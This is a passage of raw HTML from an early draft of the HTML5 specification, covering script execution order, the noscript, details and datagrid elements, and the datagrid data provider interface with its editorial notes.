loading">the next set of steps</a> when the script is ready.     <dt>Otherwise     <dd>The user agent must immediately <a href="#executing"      title="executing a script block">execute the script</a>, even if other      scripts are already executing.    </dl>  </ol>  <p><dfn id=when-a0 title="when a script completes loading">When a script   completes loading</dfn>: If a script whose element was added to one of the   lists mentioned above completes loading while the document is still being   parsed, then the parser handles it. Otherwise, when a script completes   loading, the UA must follow the following steps as soon as as any other   scripts that may be executing have finished executing:  <dl class=switch>   <dt>If the script's element was added to the <dfn id=list-of>list of    scripts that will execute when the document has finished parsing</dfn>:   <dd>    <ol>     <li>      <p>If the script's element is not the first element in the list, then       do nothing yet. Stop going through these steps.</p>     <li>      <p>Otherwise, <a href="#executing" title="executing a script       block">execute the script</a> (that is, the script associated with the       first element in the list).</p>     <li>      <p>Remove the script's element from the list (i.e. shift out the first       entry in the list).</p>     <li>      <p>If there are any more entries in the list, and if the script       associated with the element that is now the first in the list is       already loaded, then jump back to step two to execute it.</p>    </ol>   <dt>If the script's element was added to the <dfn id=list-of0>list of    scripts that will execute asynchronously</dfn>:   <dd>    <ol>     <li>      <p>If the script is not the first element in the list, then do nothing       yet. Stop going through these steps.</p>     <li>      <p><a href="#executing" title="executing a script block">Execute the       script</a> (the script associated with the first element in the list).</p>     <li>      <p>Remove the script's element from the list (i.e. shift out the first       entry in the list).</p>     <li>      <p>If there are any more scripts in the list, and the element now at       the head of the list had no <code title=attr-script-src><a       href="#src5">src</a></code> attribute when it was added to the list,       or had one, but its associated script has finished loading, then jump       back to step two to execute the script associated with this element.</p>    </ol>   <dt>If the script's element was added to the <dfn id=list-of1>list of    scripts that will execute as soon as possible</dfn>:   <dd>    <ol>     <li>      <p><a href="#executing" title="executing a script block">Execute the       script</a>.</p>     <li>      <p>Remove the script's element from the list.</p>    </ol>   <dt>If the script is <dfn id=the-script>the script that will execute as    soon as the parser resumes</dfn>:   <dd>    <p>The script will be handled <a href="#scriptTagParserResumes">when the     parser resumes</a> (amazingly enough).</p>  </dl>  <p class=big-issue><!-- XXX --> need to say, in the part of the spec that   fires the onload event, that the list above is triggered.  <p><dfn id=executing title="executing a script block">Executing a script   block</dfn>: If the load resulted in an error (for example a DNS error, or   an HTTP 404 error), then executing the script consists of doing nothing.   If the load was successful, then the behaviour depends on the scripting   language.  <p>If the script is from an external file, then that file must be used as   the file to execute.  <p>If the script is inline, then, for scripting languages that consist of   pure text, user agents must use the value of the DOM <code   title=dom-script-text><a href="#text0">text</a></code> attribute (defined   below) as the script to execute, and for XML-based scripting languages,   user agents must use all the child nodes of the <code><a   href="#script2">script</a></code> element as the script to execute.  <p>In any case, the user agent must execute the script according to the   semantics of the relevant language specification, as determined by the   <code title=attr-script-type><a href="#type9">type</a></code> and <code   title=attr-script-language>language</code> attributes on the <code><a   href="#script2">script</a></code> element when the element was inserted   into the document, as described above.  <p class=big-issue> Have to define that the script executes in context of   global scope, scripting context, browsing context, etc.  <p class=note>The element's attributes' values might have changed between   when the element was inserted into the document and when the script has   finished loading, as may its other attributes; similarly, the element   itself might have been taken back out of the DOM, or had other changes   made. These changes do not in any way affect the above steps; only the   values of the attributes at the time the <code><a   href="#script2">script</a></code> element is first inserted into the   document matter.  <p>The DOM attributes <dfn id=src6   title=dom-script-src><code>src</code></dfn>, <dfn id=type10   title=dom-script-type><code>type</code></dfn>, <dfn id=defer   title=dom-script-defer><code>defer</code></dfn>, <dfn id=async   title=dom-script-async><code>async</code></dfn>, each must <a   href="#reflect">reflect</a> the respective content attributes of the same   name.  <p>The DOM attribute <dfn id=text0   title=dom-script-text><code>text</code></dfn> must return a concatenation   of the contents of all the <a href="#text-node" title="text node">text   nodes</a> that are direct children of the <code><a   href="#script2">script</a></code> element (ignoring any other nodes such   as comments or elements), in tree order. On setting, it must act the same   way as the <code><a href="#textcontent">textContent</a></code> DOM   attribute.  <h5 id=script0><span class=secno>3.17.1.1. </span>Script languages</h5>  <p>The following lists some MIME types and the languages to which they   refer:  <dl>   <dt><code>text/javascript</code>   <dd>ECMAScript. <a href="#refsECMA262">[ECMA262]</a>   <dt><code>text/javascript;e4x=1</code>   <dd>ECMAScript with ECMAScript for XML. <a    href="#refsECMA357">[ECMA357]</a>  </dl>  <p>User agents may support other MIME types and other languages.  <p>When examining types to determine if they support the language, user   agents must not ignore unknown MIME parameters AMPERSANDmdash; types with unknown   parameters must be assumed to be unsupported.  <h4 id=the-noscript><span class=secno>3.17.2. </span>The <dfn   id=noscript0><code>noscript</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#strictly">strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>In a <code><a href="#head0">head</a></code> element of an <a    href="#html-" title=">HTML documents">HTML document</a>, if there are no    ancestor <code><a href="#noscript0">noscript</a></code> elements.   <dd>Where <a href="#block-level1">block-level elements</a> are expected in    <a href="#html-">HTML documents</a>, if there are no ancestor <code><a    href="#noscript0">noscript</a></code> elements.   <dd>Where <a href="#inline-level1">inline-level content</a> is expected in    <a href="#html-">HTML documents</a>, if there are no ancestor <code><a    href="#noscript0">noscript</a></code> elements.   <dt>Content model:   <dd>See prose.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#noscript0">noscript</a></code> element does not   represent anything. It is used to present different markup to user agents   that support scripting and those that don't support scripting, by   affecting how the document is parsed.  <p>The <code><a href="#noscript0">noscript</a></code> element must not be   used in <a href="#xml-documents">XML documents</a>.  <p>When used in <a href="#html-">HTML documents</a>, the allowed content   model depends on whether scripting is enabled or not. If <a   href="#scripting1">scripting is disabled</a>, then the content model of a   <code><a href="#noscript0">noscript</a></code> element is the same as that   of its parent element, with the following additional restrictions:  <ul>   <li>Moving all the children of all the <code><a    href="#noscript0">noscript</a></code> elements in the document so that    they replaced their <code><a href="#noscript0">noscript</a></code>    element parents, must not cause the document to become non-conforming.   <li>A <code><a href="#noscript0">noscript</a></code> element must not have    a <code><a href="#noscript0">noscript</a></code> element as an ancestor    (that is, <code><a href="#noscript0">noscript</a></code> can't be    nested).  </ul>  <p>If <a href="#scripting2">scripting is enabled</a>, then the content   model of a <code><a href="#noscript0">noscript</a></code> element is text,   except that the text must be such that running the following algorithm   results in a conforming document with no <code><a   href="#noscript0">noscript</a></code> elements and no <code><a   href="#script2">script</a></code> elements, and such that no step in the   algorithm causes an <a href="#html-0">HTML parser</a> to flag a <a   href="#parse">parse error</a>:  <ol>   <li>Remove every <code><a href="#script2">script</a></code> element from    the document.   <li>Make a list of every <code><a href="#noscript0">noscript</a></code>    element in the document. For every <code><a    href="#noscript0">noscript</a></code> element in that list, perform the    following steps:    <ol>     <li>Let the <var title="">parent element</var> be the parent element of      the <code><a href="#noscript0">noscript</a></code> element.     <li>Take all the children of the <var title="">parent element</var> that      come before the <code><a href="#noscript0">noscript</a></code> element,      and call these elements <var title="">the before children</var>.     <li>Take all the children of the <var title="">parent element</var> that      come <em>after</em> the <code><a href="#noscript0">noscript</a></code>      element, and call these elements <var title="">the after      children</var>.     <li>Let <var title="">s</var> be the concatenation of all the <a      href="#text-node">text node</a> children of the <code><a      href="#noscript0">noscript</a></code> element.     <li>Set the <code title=dom-innerHTML-HTML><a      href="#innerhtml0">innerHTML</a></code> attribute of the <var      title="">parent element</var> to the value of <var title="">s</var>.      (This, as a side-effect, causes the <code><a      href="#noscript0">noscript</a></code> element to be removed from the      document.)     <li>Insert <var title="">the before children</var> at the start of the      <var title="">parent element</var>, preserving their original relative      order.     <li>Insert <var title="">the after children</var> at the end of the <var      title="">parent element</var>, preserving their original relative      order.    </ol>  </ol>  <p>The <code><a href="#noscript0">noscript</a></code> element has no other   requirements. In particular, children of the <code><a   href="#noscript0">noscript</a></code> element are not exempt from form   submission, scripting, and so forth, even when scripting is enabled.  <p class=note>All these contortions are required because, for historical   reasons, the <code><a href="#noscript0">noscript</a></code> element causes   the <a href="#html-0">HTML parser</a> to act differently based on whether   scripting is enabled or not. The element is not allowed in XML, because in   XML the parser is not affected by such state, and thus the element would   not have the desired effect.  <h3 id=interactive1><span class=secno>3.18. </span>Interactive elements</h3>  <h4 id=the-details><span class=secno>3.18.1. </span>The <dfn   id=details0><code>details</code></dfn> element</h4>  <p><a href="#interactive3" title="interactive elements">Interactive</a>, <a   href="#block-level1" title="block-level elements">block-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>One <code><a href="#legend0">legend</a></code> element followed by    either one or more <a href="#block-level1">block-level elements</a> or <a    href="#inline-level1">inline-level content</a> (but not both).   <dt>Element-specific attributes:   <dd><code title=attr-details-open><a href="#open0">open</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmldetailselement>HTMLDetailsElement</dfn> : <a href="#htmlelement">HTMLElement</a> {  attribute boolean <a href="#open1" title=dom-details-open>open</a>;};</pre>  </dl>  <p>The <code><a href="#details0">details</a></code> element represents   additional information or controls which the user can obtain on demand.  <p>The first element child of a <code><a   href="#details0">details</a></code> element, if it is a <code><a   href="#legend0">legend</a></code> element, represents the summary of the   details.  <p>If the first element is not a <code><a href="#legend0">legend</a></code>   element, the UA should provide its own legend (e.g. "Details").  <p>The <dfn id=open0 title=attr-details-open><code>open</code></dfn>   content attribute, if present, indicates that the details should be shown   to the user. The default, which applies if the attribute is absent, is   that the details not be shown. If the attribute is present, its value must   be the literal value <code title="">open</code>.  <p>If the attribute is removed, then the details should be hidden. If the   attribute is added, the details should be shown.  <p>The user should be able to request that the details be shown or hidden.  <p>The <dfn id=open1 title=dom-details-open><code>open</code></dfn>   attribute must <a href="#reflect">reflect</a> the <code   title=attr-details-open><a href="#open0">open</a></code> content   attribute.</p>  <!--http://mail.gnome.org/archives/usability/2006-June/msg00015.htmlhttp://developer.apple.com/documentation/UserExperience/Conceptual/OSXHIGuidelines/XHIGControls/chapter_18_section_7.htmlhttps://www.google.com/base/settings-->  <p class=big-issue>Rendering will be described in the Rendering section in   due course. Basically CSS :open and :closed match the element, it's a   block-level element by default, and when it matches :closed it renders as   if it had an XBL binding attached to it whose template was just   <code>AMPERSANDlt;template>AMPERSAND#x25B6;AMPERSANDlt;content   includes="legend:first-child"AMPERSANDgt;DetailsAMPERSANDlt;/content>AMPERSANDlt;/template></code>,   and when it's :open it acts as if it had an XBL binding attached to it   whose template was just <code>AMPERSANDlt;template>AMPERSAND#x25BC;AMPERSANDlt;content   includes="legend:first-child"AMPERSANDgt;DetailsAMPERSANDlt;/content>AMPERSANDlt;content/>AMPERSANDlt;/template></code>   or some such.  <p class=big-issue>Clicking the legend would make it open/close (and would   change the content attribute). Question: Do we want the content attribute   to reflect the actual state like this? I think we do, the DOM not   reflecting state has been a pain in the neck before. But is it   semantically ok?  <h4 id=datagrid><span class=secno>3.18.2. </span>The <dfn   id=datagrid1><code>datagrid</code></dfn> element</h4>  <p><a href="#interactive3" title="interactive elements">Interactive</a>, <a   href="#block-level1" title="block-level elements">block-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected,    if there are no ancestor <a href="#interactive3">interactive    elements</a>.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>.   <dt>Element-specific attributes:   <dd><code title=attr-datagrid-multiple><a    href="#multiple0">multiple</a></code>   <dd><code title=attr-datagrid-disabled><a    href="#disabled2">disabled</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmldatagridelement>HTMLDataGridElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute <a href="#datagriddataprovider">DataGridDataProvider</a> <a href="#data2" title=dom-datagrid-data>data</a>;  readonly attribute <a href="#datagridselection">DataGridSelection</a> <a href="#selection0" title=dom-datagrid-selection>selection</a>;           attribute boolean <a href="#multiple" title=dom-datagrid-multiple>multiple</a>;           attribute boolean <a href="#disabled1" title=dom-datagrid-disabled>disabled</a>;  void <a href="#updateeverything" title=dom-datagrid-updateEverything>updateEverything</a>();  void <a href="#updaterowschanged" title=dom-datagrid-updateRowsChanged>updateRowsChanged</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long count);  void <a href="#updaterowsinserted" title=dom-datagrid-updateRowsInserted>updateRowsInserted</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long count);  void <a href="#updaterowsremoved" title=dom-datagrid-updateRowsRemoved>updateRowsRemoved</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long count);  void <a href="#updaterowchanged" title=dom-datagrid-updateRowChanged>updateRowChanged</a>(in <a href="#rowspecification">RowSpecification</a> row);  void <a href="#updatecolumnchanged" title=dom-datagrid-updateColumnChanged>updateColumnChanged</a>(in unsigned long column);  void <a href="#updatecellchanged" title=dom-datagrid-updateCellChanged>updateCellChanged</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column);};</pre>  </dl>  <p class=big-issue>One possible thing to be added is a way to detect when a   row/selection has been deleted, activated, etc, by the user (delete key,   enter key, etc).</p>  <!-- XXXPA -->  <p class=big-issue>This element is defined as interactive, which means it   can't contain other interactive elements, despite the fact that we expect   it to work with other interactive elements e.g. checkboxes and input   fields. It should be called something like a Leaf Interactive Element or   something, which counts for ancestors looking in and not descendants   looking out.  <p>The <code><a href="#datagrid1">datagrid</a></code> element represents an   interactive representation of tree, list, or tabular data.  <p>The data being presented can come either from the content, as elements   given as children of the <code><a href="#datagrid1">datagrid</a></code>   element, or from a scripted data provider given by the <code   title=dom-datagrid-data><a href="#data2">data</a></code> DOM attribute.  <p>The <code title=attr-datagrid-multiple><a   href="#multiple0">multiple</a></code> attribute, if present, must be   either empty or have the literal value <code title="">multiple</code>.   Similarly, the <code title=attr-datagrid-disabled><a   href="#disabled2">disabled</a></code> attribute, if present, must be   either empty or have the literal value <code title="">disabled</code>.   (The actual values do not have any effect on how these attributes are   processed, only the presence or absence of the attributes is important.)  <p>The <dfn id=multiple   title=dom-datagrid-multiple><code>multiple</code></dfn> and <dfn   id=disabled1 title=dom-datagrid-disabled><code>disabled</code></dfn> DOM   attributes must <a href="#reflect">reflect</a> the <code   title=attr-datagrid-multiple><a href="#multiple0">multiple</a></code> and   <code title=attr-datagrid-disabled><a   href="#disabled2">disabled</a></code> content attributes respectively.  <h5 id=the-datagrid><span class=secno>3.18.2.1. </span>The <code><a   href="#datagrid1">datagrid</a></code> data model</h5>  <p><em>This section is non-normative.</em>  <p>In the <code><a href="#datagrid1">datagrid</a></code> data model, data   is structured as a set of rows representing a tree, each row being split   into a number of columns. The columns are always present in the data   model, although individual columns may be hidden in the presentation.  <p>Each row can have child rows. Child rows may be hidden or shown, by   closing or opening (respectively) the parent row.  <p>Rows are referred to by the path along the tree that one would take to   reach the row, using zero-based indices. Thus, the first row of a list is   row "0", the second row is row "1"; the first child row of the first row   is row "0,0", the second child row of the first row is row "0,1"; the   fourth child of the seventh child of the third child of the tenth row is   "9,2,6,3", etc.  <p>The columns can have captions. Those captions are not considered a row   in their own right, they are obtained separately.  <p>Selection of data in a <code><a href="#datagrid1">datagrid</a></code>   operates at the row level. If the <code title=attr-datagrid-multiple><a   href="#multiple0">multiple</a></code> attribute is present, multiple rows   can be selected at once, otherwise the user can only select one row at a   time.  <p>The <code><a href="#datagrid1">datagrid</a></code> element can be   disabled entirely by setting the <code title=attr-datagrid-disabled><a   href="#disabled2">disabled</a></code> attribute.</p>  <!--XXXDND  <p class="big-issue">selection draggable [normative definitions are  in the interactive part below]</p>-->  <p>Columns, rows, and cells can each have specific flags, known as classes,   applied to them by the data provider. These classes <a   href="#datagridClassSummary">affect the functionality</a> of the <code><a   href="#datagrid1">datagrid</a></code> element, and are also <a   href="#datagridPseudos">passed to the style system</a>. They are similar   in concept to the <code title=attr-class><a   href="#class6">class</a></code> attribute, except that they are not   specified on elements but are given by scripted data providers.</p>  <!-- XXX check xrefs -->  <h5 id=how-rows><span class=secno>3.18.2.2. </span>How rows are identified</h5>  <p>The chains of numbers that give a row's path, or identifier, are   represented by objects that implement the <a   href="#rowspecification">RowSpecification</a> interface.  <pre class=idl>interface <dfn id=rowspecification>RowSpecification</dfn> {  // binding-specific interface};</pre>  <p>In ECMAScript, two classes of objects are said to implement this   interface: Numbers representing non-negative integers, and homogeneous   arrays of Numbers representing non-negative integers. Thus,   <code>[1,0,9]</code> is a <a   href="#rowspecification">RowSpecification</a>, as is <code>1</code> on its   own. However, <code>[1,0.2,9]</code> is not a <a   href="#rowspecification">RowSpecification</a> object, since its second   value is not an integer.  <p>User agents must always represent <a   href="#rowspecification">RowSpecification</a>s in ECMAScript by using   arrays, even if the path only has one number.  <p>The root of the tree is represented by the empty path; in ECMAScript,   this is the empty array (<code>[]</code>). Only the <code   title=dom-provider-getRowCount><a   href="#getrowcount">getRowCount()</a></code> and <code   title=dom-provider-getChildAtPosition><a   href="#getchildatposition">GetChildAtPosition()</a></code> methods ever   get called with the empty path.  <h5 id=the-data><span class=secno>3.18.2.3. </span>The data provider   interface</h5>  <p><em>The conformance criteria in this section apply to any implementation   of the <code><a   href="#datagriddataprovider">DataGridDataProvider</a></code>, including   (and most commonly) the content author's implementation(s).</em>  <pre class=idl>// To be implemented by Web authors as a JS objectinterface <dfn id=datagriddataprovider>DataGridDataProvider</dfn> {  void <a href="#initialize" title=dom-provider-initialize>initialize</a>(in HTMLDataGridElement datagrid);  unsigned long <a href="#getrowcount" title=dom-provider-getRowCount>getRowCount</a>(in <a href="#rowspecification">RowSpecification</a> row);  unsigned long <a href="#getchildatposition" title=dom-provider-getChildAtPosition>getChildAtPosition</a>(in <a href="#rowspecification">RowSpecification</a> parentRow, in unsigned long position);  unsigned long <a href="#getcolumncount" title=dom-provider-getColumnCount>getColumnCount</a>();  DOMString <a href="#getcaptiontext" title=dom-provider-getCaptionText>getCaptionText</a>(in unsigned long column);  void <a href="#getcaptionclasses" title=dom-provider-getCaptionClasses>getCaptionClasses</a>(in unsigned long column, in DOMTokenString classes);  DOMString <a href="#getrowimage" title=dom-provider-getRowImage>getRowImage</a>(in <a href="#rowspecification">RowSpecification</a> row);  <span>HTMLMenuElement</span> <a href="#getrowmenu" title=dom-provider-getRowMenu>getRowMenu</a>(in <a href="#rowspecification">RowSpecification</a> row);  void <a href="#getrowclasses" title=dom-provider-getRowClasses>getRowClasses</a>(in <a href="#rowspecification">RowSpecification</a> row, in DOMTokenString classes);  DOMString <a href="#getcelldata" title=dom-provider-getCellData>getCellData</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column);  void <a href="#getcellclasses" title=dom-provider-getCellClasses>getCellClasses</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column, in DOMTokenString classes);<!--XXXDND  boolean <span title="dom-provider-canDrop">canDrop</span>(in <span>RowSpecification</span> row, in <span>RowSpecification</span> position, data);  boolean <span title="dom-provider-dropped">dropped</span>(in <span>RowSpecification</span> row, in <span>RowSpecification</span> position, data);-->  void <a href="#togglecolumnsortstate" title=dom-provider-toggleColumnSortState>toggleColumnSortState</a>(in unsigned long column);  void <a href="#setcellcheckedstate" title=dom-provider-setCellCheckedState>setCellCheckedState</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column, in long state);  void <a href="#cyclecell" title=dom-provider-cycleCell>cycleCell</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column);  void <a href="#editcell" title=dom-provider-editCell>editCell</a>(in <a href="#rowspecification">RowSpecification</a> row, in unsigned long column, in DOMString data);<!--XXXPA  void <span title="dom-provider-performAction">performAction</span>(in DOMString action); // required if .performAction() is ever invoked on the datagrid  void <span title="dom-provider-performActionOnRow">performActionOnRow</span>(in <span>RowSpecification</span> row, in DOMString action); // required if getRowClasses ever includes 'deletable' or if <span title="dom-provider-.performActionOnRow">.performActionOnRow</span>() is ever invoked on the datagrid  void <span title="dom-provider-performActionOnCell">performActionOnCell</span>(in <span>RowSpecification</span> row, in unsigned long column, in DOMString action); // required if .performActionOnCell() is ever invoked on the datagrid-->};</pre>  <!-- based on http://lxr.mozilla.org/seamonkey/source/layout/xul/base/src/tree/public/nsITreeView.idl -->  <p>The <code><a   href="#datagriddataprovider">DataGridDataProvider</a></code> interface   represents the interface that objects must implement to be used as custom   data views for <code><a href="#datagrid1">datagrid</a></code> elements.  <p>Not all the methods are required. The minimum number of methods that   must be implemented in a useful view is two: the <code   title=dom-provider-getRowCount><a   href="#getrowcount">getRowCount()</a></code> and <code   title=dom-provider-getCellData><a   href="#getcelldata">getCellData()</a></code> methods.  <p>Once the object is written, it must be hooked up to the <code><a   href="#datagrid1">datagrid</a></code> using the <dfn id=data2   title=dom-datagrid-data><code>data</code></dfn> DOM attribute.  <p>The following methods may be usefully implemented:  <dl>   <dt><dfn id=initialize title=dom-provider-initialize><code>initialize(<var    title="">datagrid</var>)</code></dfn>   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> element    (the one given by the <var title="">datagrid</var> argument) after it has    first populated itself. This would typically be used to set the initial    selection of the <code><a href="#datagrid1">datagrid</a></code> element    when it is first loaded. The data provider could also use this method    call to register a <code title=event-select><a    href="#select">select</a></code> event handler on the <code><a    href="#datagrid1">datagrid</a></code> in order to monitor selection    changes.   <dt><dfn id=getrowcount    title=dom-provider-getRowCount><code>getRowCount(<var    title="">row</var>)</code></dfn>   <dd>Must return the number of rows that are children of the specified <var    title="">row</var>, including rows that are off-screen. If <var    title="">row</var> is empty, then the number of rows at the top level    must be returned. If the value that this method would return for a given    <var title="">row</var> changes, the relevant update methods on the    <code><a href="#datagrid1">datagrid</a></code> must be called first.    Otherwise, this method must always return the same number. For a list (as    opposed to a tree), this method must return 0 whenever it is called with    a <var title="">row</var> identifier that is not empty.   <dt><dfn id=getchildatposition    title=dom-provider-getChildAtPosition><code>getChildAtPosition(<var    title="">parentRow</var>, <var title="">position</var>)</code></dfn>   <dd>Must return the index of the row that is a child of <var    title="">parentRow</var> and that is to be positioned as the <var    title="">position</var>th row under <var title="">parentRow</var> when    rendering the children of <var title="">parentRow</var>. If <var    title="">parentRow</var> is empty, then <var title="">position</var>    refers to the <var title="">position</var>th row at the top level of the    data grid. May be omitted if the rows are always to be sorted in the    natural order. (The natural order is the one where the method always    returns <var title="">position</var>.) For a given <var    title="">parentRow</var>, this method must never return the same value    for different values of <var title="">position</var>. The returned value    <var title="">x</var> must be in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var    title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">n</var>, where <var    title="">n</var> is the value returned by <code    title=dom-provider-getRowCount><a href="#getrowcount">getRowCount(<var    title="">parentRow</var>)</a></code>.   <dt><dfn id=getcolumncount    title=dom-provider-getColumnCount><code>getColumnCount()</code></dfn>   <dd>Must return the number of columns currently in the data model    (including columns that might be hidden). May be omitted if there is only    one column. If the value that this method would return changes, the    <code><a href="#datagrid1">datagrid</a></code>'s <code    title=dom-datagrid-updateEverything><a    href="#updateeverything">updateEverything()</a></code> method must be    called.   <dt><dfn id=getcaptiontext    title=dom-provider-getCaptionText><code>getCaptionText(<var    title="">column</var>)</code></dfn>   <dd>Must return the caption, or label, for column <var    title="">column</var>. May be omitted if the columns have no captions. If    the value that this method would return changes, the <code><a    href="#datagrid1">datagrid</a></code>'s <code    title=dom-datagrid-updateColumnChanged><a    href="#updatecolumnchanged">updateColumnChanged()</a></code> method must    be called with the appropriate column index.   <dt><dfn id=getcaptionclasses    title=dom-provider-getCaptionClasses><code>getCaptionClasses(<var    title="">column</var>, <var title="">classes</var>)</code></dfn>   <dd>Must add the classes that apply to column <var title="">column</var>    to the <var title="">classes</var> object. May be omitted if the columns    have no special classes. If the classes that this method would add    changes, the <code><a href="#datagrid1">datagrid</a></code>'s <code    title=dom-datagrid-updateColumnChanged><a    href="#updatecolumnchanged">updateColumnChanged()</a></code> method must    be called with the appropriate column index. Some classes have <a    href="#datagridClassSummary">predefined meanings</a>.   <dt><dfn id=getrowimage    title=dom-provider-getRowImage><code>getRowImage(<var    title="">row</var>)</code></dfn>   <dd>Must return a URI to an image that represents row <var    title="">row</var>, or the empty string if there is no applicable image.    May be omitted if no rows have associated images. If the value that this    method would return changes, the <code><a    href="#datagrid1">datagrid</a></code>'s update methods must be called to    update the row in question.   <dt><dfn id=getrowmenu title=dom-provider-getRowMenu><code>getRowMenu(<var    title="">row</var>)</code></dfn>   <dd>Must return an <code>HTMLMenuElement</code> object that is to be used    as a context menu for row <var title="">row</var>, or null if there is no    particular context menu. May be omitted if none of the rows have a    special context menu. As this method is called immediately before showing    the menu in question, no precautions need to be taken if the return value    of this method changes.   <dt><dfn id=getrowclasses    title=dom-provider-getRowClasses><code>getRowClasses(<var    title="">row</var>, <var title="">classes</var>)</code></dfn>   <dd>Must add the classes that apply to row <var title="">row</var> to the    <var title="">classes</var> object. May be omitted if the rows have no    special classes. If the classes that this method would add changes, the    <code><a href="#datagrid1">datagrid</a></code>'s update methods must be    called to update the row in question. Some classes have <a    href="#datagridClassSummary">predefined meanings</a>.   <dt><dfn id=getcelldata    title=dom-provider-getCellData><code>getCellData(<var title="">row</var>,    <var title="">column</var>)</code></dfn>   <dd>Must return the value of the cell on row <var title="">row</var> in    column <var title="">column</var>. For text cells, this must be the text    to show for that cell. For <a href="#progress1"    title=datagrid-cell-class-progress>progress bar cells</a>, this must be    either a floating point number in the range 0.0 to 1.0 (converted to a    string representation<!-- XXX this isn't   technically enough to define what the author must be doing here,   but let's let that slide until someone notices -->),    indicating the fraction of the progress bar to show as full (1.0 meaning    complete), or the empty string, indicating an indeterminate progress bar.    If the value that this method would return changes, the <code><a    href="#datagrid1">datagrid</a></code>'s update methods must be called to    update the rows that changed. If only one cell changed, the <code    title=dom-datagrid-updateCellChanged><a    href="#updatecellchanged">updateCellChanged()</a></code> method may be    used.   <dt><dfn id=getcellclasses    title=dom-provider-getCellClasses><code>getCellClasses(<var    title="">row</var>, <var title="">column</var>, <var    title="">classes</var>)</code></dfn>   <dd>Must add the classes that apply to the cell on row <var    title="">row</var> in column <var title="">column</var> to the <var    title="">classes</var> object. May be omitted if the cells have no    special classes. If the classes that this method would add changes, the    <code><a href="#datagrid1">datagrid</a></code>'s update methods must be    called to update the rows or cells in question. Some classes have <a    href="#datagridClassSummary">predefined meanings</a>.   <dt><dfn id=togglecolumnsortstate    title=dom-provider-toggleColumnSortState><code>toggleColumnSortState(<var    title="">column</var>)</code></dfn>   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the    user tries to sort the data using a particular column <var    title="">column</var>. The data provider must update its state so that    the <code title=dom-provider-getChildAtPosition><a    href="#getchildatposition">GetChildAtPosition()</a></code> method returns    the new order, and the classes of the columns returned by <code    title=dom-provider-getCaptionClasses><a    href="#getcaptionclasses">getCaptionClasses()</a></code> represent the    new sort status. There is no need to tell the <code><a    href="#datagrid1">datagrid</a></code> that it the data has changed, as    the <code><a href="#datagrid1">datagrid</a></code> automatically assumes    that the entire data model will need updating.   <dt><dfn id=setcellcheckedstate    title=dom-provider-setCellCheckedState><code>setCellCheckedState(<var    title="">row</var>, <var title="">column</var>, <var    title="">state</var>)</code></dfn>   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the    user changes the state of a checkbox cell on row <var title="">row</var>,    column <var title="">column</var>. The checkbox should be toggled to the    state given by <var title="">state</var>, which is a positive integer (1)    if the checkbox is to be checked, zero (0) if it is to be unchecked, and    a negative number (-1) if it is to be set to the indeterminate state.    There is no need to tell the <code><a    href="#datagrid1">datagrid</a></code> that the cell has changed, as the    <code><a href="#datagrid1">datagrid</a></code> automatically assumes that    the given cell will need updating.   <dt><dfn id=cyclecell title=dom-provider-cycleCell><code>cycleCell(<var    title="">row</var>, <var title="">column</var>)</code></dfn>   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the    user changes the state of a cyclable cell on row <var title="">row</var>,    column <var title="">column</var>. The data provider should change the    state of the cell to the new state, as appropriate. There is no need to    tell the <code><a href="#datagrid1">datagrid</a></code> that the cell has    changed, as the <code><a href="#datagrid1">datagrid</a></code>    automatically assumes that the given cell will need updating.   <dt><dfn id=editcell title=dom-provider-editCell><code>editCell(<var    title="">row</var>, <var title="">column</var>, <var    title="">data</var>)</code></dfn>   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the    user edits the cell on row <var title="">row</var>, column <var    title="">column</var>. The new value of the cell is given by <var    title="">data</var>. The data provider should update the cell    accordingly. There is no need to tell the <code><a    href="#datagrid1">datagrid</a></code> that the cell has changed, as the    <code><a href="#datagrid1">datagrid</a></code> automatically assumes that    the given cell will need updating.</dd>   <!--XXXPA  void performAction(in DOMString action); // required if .performAction() is ever invoked on the datagrid  void performActionOnRow(in <span>RowSpecification</span> row, in DOMString action); // required if getRowClasses ever includes 'deletable' or if .performActionOnRow() is ever invoked on the datagrid  void performActionOnCell(in <span>RowSpecification</span> row, in unsigned long column, in DOMString action); // required if .performActionOnCell() is ever invoked on the datagrid-->  </dl>  <p>The following classes (for rows, columns, and cells) may be usefully   used in conjunction with this interface:  <table id=datagridClassSummary>   <tbody>    <tr>     <th>Class name     <th>Applies to     <th>Description    <tr>     <td><!--checked--><dfn id=checked      title=datagrid-cell-class-checked><code>checked</code></dfn>     <td>Cells     <td>The cell has a checkbox and it is checked. (The <code      title=datagrid-cell-class-cyclable><a      href="#cyclable">cyclable</a></code> and <code      title=datagrid-cell-class-progress><a      href="#progress1">progress</a></code> classes override this, though.)    <tr>     <td><!--cyclable--><dfn id=cyclable      